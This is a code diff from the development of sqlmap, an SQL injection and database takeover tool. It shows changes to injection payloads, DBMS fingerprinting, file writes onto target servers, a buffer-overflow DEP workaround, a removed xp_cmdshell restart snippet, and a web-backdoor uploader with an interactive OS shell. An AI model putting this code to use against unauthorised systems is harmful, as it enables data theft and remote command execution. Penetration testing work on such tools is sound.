|
|
||||||
for count in range(1, 51):
|
for count in range(1, 51):
|
||||||
query = agent.prefixQuery(" ORDER BY %d" % count)
|
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||||
|
|||||||
@@ -29,14 +29,11 @@ import time
|
|||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
||||||
from lib.core.session import setUnion
|
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
@@ -202,7 +199,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
field = expressionFieldsList[0]
|
field = expressionFieldsList[0]
|
||||||
|
|
||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
field = expressionFieldsList
|
field = expressionFieldsList
|
||||||
|
|
||||||
else:
|
else:
|
||||||
field = None
|
field = None
|
||||||
@@ -222,6 +219,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
|
# NOTE: for debug purposes only
|
||||||
|
#debugMsg = "query: %s" % payload
|
||||||
debugMsg = "query: %s" % query
|
debugMsg = "query: %s" % query
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|||||||
@@ -32,7 +32,6 @@ from lib.core.convert import urlencode
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
from lib.core.exception import sqlmapRegExprException
|
|
||||||
|
|
||||||
|
|
||||||
class Google:
|
class Google:
|
||||||
@@ -84,9 +83,9 @@ class Google:
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
conn = self.opener.open("http://www.google.com/ncr")
|
conn = self.opener.open("http://www.google.com/ncr")
|
||||||
headers = conn.info()
|
_ = conn.info()
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
headers = e.info()
|
_ = e.info()
|
||||||
except urllib2.URLError, e:
|
except urllib2.URLError, e:
|
||||||
errMsg = "unable to connect to Google"
|
errMsg = "unable to connect to Google"
|
||||||
raise sqlmapConnectionException, errMsg
|
raise sqlmapConnectionException, errMsg
|
||||||
|
|||||||
@@ -28,15 +28,11 @@ import os
|
|||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToOutFile
|
|
||||||
from lib.core.common import dataToStdout
|
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import randomInt
|
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
|||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||||
from lib.core.shell import autoCompletion
|
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -198,7 +192,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for version in ( 0, 5, 8 ):
|
for version in ( 0, 5, 8 ):
|
||||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
payload = agent.fullPayload(" AND ( ( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d ) )" % (version, version))
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result == True:
|
||||||
@@ -212,6 +206,11 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
|
elif version == 0:
|
||||||
|
kb.dbmsVersion = [ "2000" ]
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
else:
|
else:
|
||||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
@@ -516,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
wFilePointer.close()
|
wFilePointer.close()
|
||||||
|
|
||||||
if wFileSize < debugSize:
|
if wFileSize < debugSize:
|
||||||
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
|
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
||||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
@@ -542,7 +541,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
for i in range(0, wFileSize, debugSize):
|
for i in range(0, wFileSize, debugSize):
|
||||||
wFileChunk = wFileContent[i:i+debugSize]
|
wFileChunk = wFileContent[i:i+debugSize]
|
||||||
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
|
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||||
|
|
||||||
if i == 0:
|
if i == 0:
|
||||||
infoMsg = "renaming chunk "
|
infoMsg = "renaming chunk "
|
||||||
@@ -591,36 +590,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
|||||||
|
|
||||||
|
|
||||||
def overflowBypassDEP(self):
|
def overflowBypassDEP(self):
|
||||||
# TODO: use 'sc' to:
|
|
||||||
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
|
|
||||||
# * Detect the absolute SQL Server executable file path
|
|
||||||
#
|
|
||||||
# References:
|
|
||||||
# * http://www.ss64.com/nt/sc.html
|
|
||||||
# * http://www.ss64.com/nt/for_cmd.html
|
|
||||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||||
|
|
||||||
if self.bypassDEP == False:
|
if self.bypassDEP == False:
|
||||||
return
|
return
|
||||||
|
else:
|
||||||
logger.info("restarting Microsoft SQL Server, wait..")
|
warnMsg = "sqlmap tried to add the expection for "
|
||||||
time.sleep(15)
|
warnMsg += "'sqlservr.exe' within the registry, but will not "
|
||||||
# TODO: use 'sc' to:
|
warnMsg += "restart the MSSQLSERVER process to avoid denial "
|
||||||
# * Warn the user that sqlmap needs to restart the SQL Server
|
warnMsg += "of service. The buffer overflow trigger could not "
|
||||||
# service, ask for confirmation
|
warnMsg += "work, however sqlmap will give it a try. Soon "
|
||||||
# * Stop the SQL Server service (after handling DEP)
|
warnMsg += "it will come a new MS09-004 exploit to "
|
||||||
# * Start the SQL Server service (after handling DEP)
|
warnMsg += "automatically bypass DEP."
|
||||||
|
logger.warn(warnMsg)
|
||||||
# Another way to restart MSSQL consists of writing a bat file with
|
|
||||||
# the following text:
|
|
||||||
#
|
|
||||||
#@ECHO OFF
|
|
||||||
#NET STOP MSSQLSERVER
|
|
||||||
#NET START MSSQLSERVER
|
|
||||||
#
|
|
||||||
# Then run the following statement and wait a few seconds:
|
|
||||||
#
|
|
||||||
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
|
|
||||||
|
|
||||||
|
|
||||||
def spHeapOverflow(self):
|
def spHeapOverflow(self):
|
||||||
|
|||||||
@@ -28,7 +28,6 @@ import os
|
|||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import fileToStr
|
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
@@ -49,7 +48,6 @@ from lib.request import inject
|
|||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -148,15 +146,16 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# MySQL valid versions updated on 02/2009
|
# MySQL valid versions updated on 05/2009
|
||||||
versions = (
|
versions = (
|
||||||
(32200, 32233), # MySQL 3.22
|
(32200, 32233), # MySQL 3.22
|
||||||
(32300, 32359), # MySQL 3.23
|
(32300, 32359), # MySQL 3.23
|
||||||
(40000, 40031), # MySQL 4.0
|
(40000, 40031), # MySQL 4.0
|
||||||
(40100, 40122), # MySQL 4.1
|
(40100, 40122), # MySQL 4.1
|
||||||
(50000, 50077), # MySQL 5.0
|
(50000, 50077), # MySQL 5.0
|
||||||
(50100, 50132), # MySQL 5.1
|
(50100, 50134), # MySQL 5.1
|
||||||
(60000, 60009), # MySQL 6.0
|
(50400, 50401), # MySQL 5.4
|
||||||
|
(60000, 60010), # MySQL 6.0
|
||||||
)
|
)
|
||||||
|
|
||||||
for element in versions:
|
for element in versions:
|
||||||
@@ -208,7 +207,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
value += actVer
|
value += actVer
|
||||||
return value
|
return value
|
||||||
|
|
||||||
# TODO: comment injection fingerprint is broken, fix
|
|
||||||
comVer = self.__commentCheck()
|
comVer = self.__commentCheck()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|||||||
@@ -34,6 +34,7 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.session import setDbms
|
from lib.core.session import setDbms
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||||
|
|||||||
@@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
|
|||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
|||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
# TODO: write a UDF to retrieve the hexadecimal encoded content of
|
|
||||||
# the requested file
|
|
||||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||||
warnMsg += "if the requested file is binary, its content will not "
|
warnMsg += "if the requested file is binary, its content will not "
|
||||||
warnMsg += "be retrieved"
|
warnMsg += "be retrieved"
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ from lib.core.agent import agent
|
|||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import parsePasswordHash
|
from lib.core.common import parsePasswordHash
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -38,7 +39,6 @@ from lib.core.data import temp
|
|||||||
from lib.core.dump import dumper
|
from lib.core.dump import dumper
|
||||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.core.session import setOs
|
from lib.core.session import setOs
|
||||||
from lib.core.settings import SQL_STATEMENTS
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
@@ -46,7 +46,6 @@ from lib.core.shell import autoCompletion
|
|||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.parse.banner import bannerParser
|
from lib.parse.banner import bannerParser
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
@@ -1000,7 +999,7 @@ class Enumeration:
|
|||||||
|
|
||||||
if conf.dumpAll:
|
if conf.dumpAll:
|
||||||
logger.warn(errMsg)
|
logger.warn(errMsg)
|
||||||
return kb.data.dumpedTable
|
return None
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
@@ -1062,7 +1061,7 @@ class Enumeration:
|
|||||||
|
|
||||||
if conf.dumpAll:
|
if conf.dumpAll:
|
||||||
logger.warn(errMsg)
|
logger.warn(errMsg)
|
||||||
return kb.data.dumpedTable
|
return None
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
@@ -1097,7 +1096,6 @@ class Enumeration:
|
|||||||
|
|
||||||
def sqlQuery(self, query):
|
def sqlQuery(self, query):
|
||||||
output = None
|
output = None
|
||||||
selectQuery = True
|
|
||||||
sqlType = None
|
sqlType = None
|
||||||
|
|
||||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||||
@@ -1105,9 +1103,6 @@ class Enumeration:
|
|||||||
if query.lower().startswith(sqlStatement):
|
if query.lower().startswith(sqlStatement):
|
||||||
sqlType = sqlTitle
|
sqlType = sqlTitle
|
||||||
|
|
||||||
if sqlTitle != "SQL SELECT statement":
|
|
||||||
selectQuery = False
|
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
message = "do you want to retrieve the SQL statement output? "
|
message = "do you want to retrieve the SQL statement output? "
|
||||||
@@ -1122,6 +1117,8 @@ class Enumeration:
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
else:
|
else:
|
||||||
|
query = urlencode(query, convall=True)
|
||||||
|
|
||||||
if kb.stackedTest == None:
|
if kb.stackedTest == None:
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
|
|||||||
@@ -31,10 +31,8 @@ from lib.core.agent import agent
|
|||||||
from lib.core.common import dataToOutFile
|
from lib.core.common import dataToOutFile
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
@@ -50,33 +48,21 @@ class Filesystem:
|
|||||||
|
|
||||||
|
|
||||||
def __unbase64String(self, base64Str):
|
def __unbase64String(self, base64Str):
|
||||||
unbase64Str = ""
|
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||||
|
|
||||||
if isinstance(base64Str, (list, tuple, set)):
|
|
||||||
for chunk in base64Str:
|
|
||||||
if isinstance(chunk, (list, tuple, set)):
|
|
||||||
chunk = chunk[0]
|
|
||||||
|
|
||||||
unbase64Str += "%s\n" % chunk.decode("base64")
|
|
||||||
else:
|
|
||||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
|
||||||
|
|
||||||
return unbase64Str
|
return unbase64Str
|
||||||
|
|
||||||
|
|
||||||
def __unhexString(self, hexStr):
|
def __unhexString(self, hexStr):
|
||||||
unhexStr = ""
|
if len(hexStr) % 2 != 0:
|
||||||
|
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
||||||
|
errMsg += "hexadecimal string which it is not able to convert "
|
||||||
|
errMsg += "to raw string"
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
if isinstance(hexStr, (list, tuple, set)):
|
return hexStr
|
||||||
for chunk in hexStr:
|
|
||||||
if isinstance(chunk, (list, tuple, set)):
|
|
||||||
chunk = chunk[0]
|
|
||||||
|
|
||||||
unhexStr += binascii.unhexlify(chunk)
|
return binascii.unhexlify(hexStr)
|
||||||
else:
|
|
||||||
unhexStr = binascii.unhexlify(hexStr)
|
|
||||||
|
|
||||||
return unhexStr
|
|
||||||
|
|
||||||
|
|
||||||
def __binDataToScr(self, binaryData, chunkName):
|
def __binDataToScr(self, binaryData, chunkName):
|
||||||
@@ -215,7 +201,7 @@ class Filesystem:
|
|||||||
return fcEncodedList
|
return fcEncodedList
|
||||||
|
|
||||||
|
|
||||||
def updateBinChunk(self, binaryData, dFile, tmpPath):
|
def updateBinChunk(self, binaryData, tmpPath):
|
||||||
"""
|
"""
|
||||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||||
back-end DBMS underlying file system
|
back-end DBMS underlying file system
|
||||||
@@ -295,10 +281,20 @@ class Filesystem:
|
|||||||
|
|
||||||
fileContent = self.stackedReadFile(rFile)
|
fileContent = self.stackedReadFile(rFile)
|
||||||
|
|
||||||
if fileContent == None:
|
if fileContent in ( None, "" ):
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
elif isinstance(fileContent, (list, tuple, set)):
|
||||||
|
newFileContent = ""
|
||||||
|
|
||||||
|
for chunk in fileContent:
|
||||||
|
if isinstance(chunk, (list, tuple, set)):
|
||||||
|
chunk = chunk[0]
|
||||||
|
|
||||||
|
newFileContent += chunk
|
||||||
|
|
||||||
|
fileContent = newFileContent
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
||||||
fileContent = self.__unhexString(fileContent)
|
fileContent = self.__unhexString(fileContent)
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ class Fingerprint:
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression):
|
def unescape(expression, quote=True):
|
||||||
errMsg = "'unescape' method must be defined "
|
errMsg = "'unescape' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|||||||
@@ -24,12 +24,16 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import getDirectories
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import fileToStr
|
||||||
|
from lib.core.common import getDirs
|
||||||
|
from lib.core.common import getDocRoot
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import hexencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -59,13 +63,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
|
|
||||||
|
|
||||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||||
"""
|
|
||||||
TODO: complete review of this code is needed
|
|
||||||
"""
|
|
||||||
|
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
|
if not cmd:
|
||||||
|
cmd = conf.osCmd
|
||||||
|
|
||||||
|
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
|
||||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||||
|
|
||||||
@@ -77,98 +80,113 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def __webBackdoorOsShell(self):
|
def __webBackdoorShell(self, backdoorUrl):
|
||||||
"""
|
infoMsg = "calling OS shell. To quit type "
|
||||||
TODO: complete review of this code is needed
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
|
|
||||||
This method is used to write a PHP agent (cmd.php) on a writable
|
|
||||||
remote directory within the web server document root.
|
|
||||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
|
||||||
functionality
|
|
||||||
|
|
||||||
@todo:
|
|
||||||
* Add a web application crawling functionality to detect
|
|
||||||
all (at least most) web server directories and merge with
|
|
||||||
Google results if the target host is a publicly available
|
|
||||||
hostname or IP address;
|
|
||||||
* Extend the agent to other interpreters rather than only PHP:
|
|
||||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
|
||||||
"""
|
|
||||||
|
|
||||||
infoMsg = "retrieving web application directories"
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
directories = getDirectories()
|
autoCompletion(osShell=True)
|
||||||
|
|
||||||
if directories:
|
while True:
|
||||||
infoMsg = "retrieved web server directories "
|
command = None
|
||||||
infoMsg += "'%s'" % ", ".join(d for d in directories)
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
message = "in addition you can provide a list of directories "
|
try:
|
||||||
message += "absolute path comma separated that you want sqlmap "
|
command = raw_input("os-shell> ")
|
||||||
message += "to try to upload the agent [/var/www/test]: "
|
except KeyboardInterrupt:
|
||||||
inputDirs = readInput(message, default="/var/www/test")
|
print
|
||||||
else:
|
errMsg = "user aborted"
|
||||||
message = "please provide the web server document root [/var/www]: "
|
logger.error(errMsg)
|
||||||
inputDocRoot = readInput(message, default="/var/www")
|
except EOFError:
|
||||||
|
print
|
||||||
|
errMsg = "exit"
|
||||||
|
logger.error(errMsg)
|
||||||
|
break
|
||||||
|
|
||||||
if inputDocRoot:
|
if not command:
|
||||||
kb.docRoot = inputDocRoot
|
continue
|
||||||
else:
|
|
||||||
kb.docRoot = "/var/www"
|
|
||||||
|
|
||||||
message = "please provide a list of directories absolute path "
|
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||||
message += "comma separated that you want sqlmap to try to "
|
break
|
||||||
message += "upload the agent [/var/www/test]: "
|
|
||||||
inputDirs = readInput(message, default="/var/www/test")
|
|
||||||
|
|
||||||
if inputDirs:
|
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||||
inputDirs = inputDirs.replace(", ", ",")
|
|
||||||
inputDirs = inputDirs.split(",")
|
|
||||||
|
|
||||||
for inputDir in inputDirs:
|
|
||||||
directories.add(inputDir)
|
def __webBackdoorInit(self):
|
||||||
else:
|
"""
|
||||||
directories.add("/var/www/test")
|
This method is used to write a web backdoor (agent) on a writable
|
||||||
|
remote directory within the web server document root.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.checkDbmsOs()
|
||||||
|
|
||||||
|
backdoorUrl = None
|
||||||
|
language = None
|
||||||
|
kb.docRoot = getDocRoot()
|
||||||
|
directories = getDirs()
|
||||||
|
directories = list(directories)
|
||||||
|
directories.sort()
|
||||||
|
|
||||||
infoMsg = "trying to upload the uploader agent"
|
infoMsg = "trying to upload the uploader agent"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
directories = list(directories)
|
message = "which web application language does the web server "
|
||||||
directories.sort()
|
message += "support?\n"
|
||||||
uploaded = False
|
message += "[1] ASP\n"
|
||||||
|
message += "[2] PHP (default)\n"
|
||||||
|
message += "[3] JSP"
|
||||||
|
|
||||||
backdoorName = "backdoor.php"
|
while True:
|
||||||
|
choice = readInput(message, default="2")
|
||||||
|
|
||||||
|
if not choice or choice == "2":
|
||||||
|
language = "php"
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif choice == "1":
|
||||||
|
language = "asp"
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif choice == "3":
|
||||||
|
# TODO: add also JSP backdoor/uploader support
|
||||||
|
errMsg = "JSP web backdoor functionality is not yet "
|
||||||
|
errMsg += "implemented"
|
||||||
|
raise sqlmapUnsupportedDBMSException, errMsg
|
||||||
|
|
||||||
|
#language = "jsp"
|
||||||
|
|
||||||
|
#break
|
||||||
|
|
||||||
|
elif not choice.isdigit():
|
||||||
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
|
||||||
|
elif int(choice) < 1 or int(choice) > 3:
|
||||||
|
logger.warn("invalid value, it must be 1 or 3")
|
||||||
|
|
||||||
|
backdoorName = "backdoor.%s" % language
|
||||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||||
uploaderName = "uploader.php"
|
uploaderName = "uploader.%s" % language
|
||||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||||
|
|
||||||
for directory in directories:
|
for directory in directories:
|
||||||
if uploaded:
|
|
||||||
break
|
|
||||||
|
|
||||||
# Upload the uploader agent
|
# Upload the uploader agent
|
||||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
|
||||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
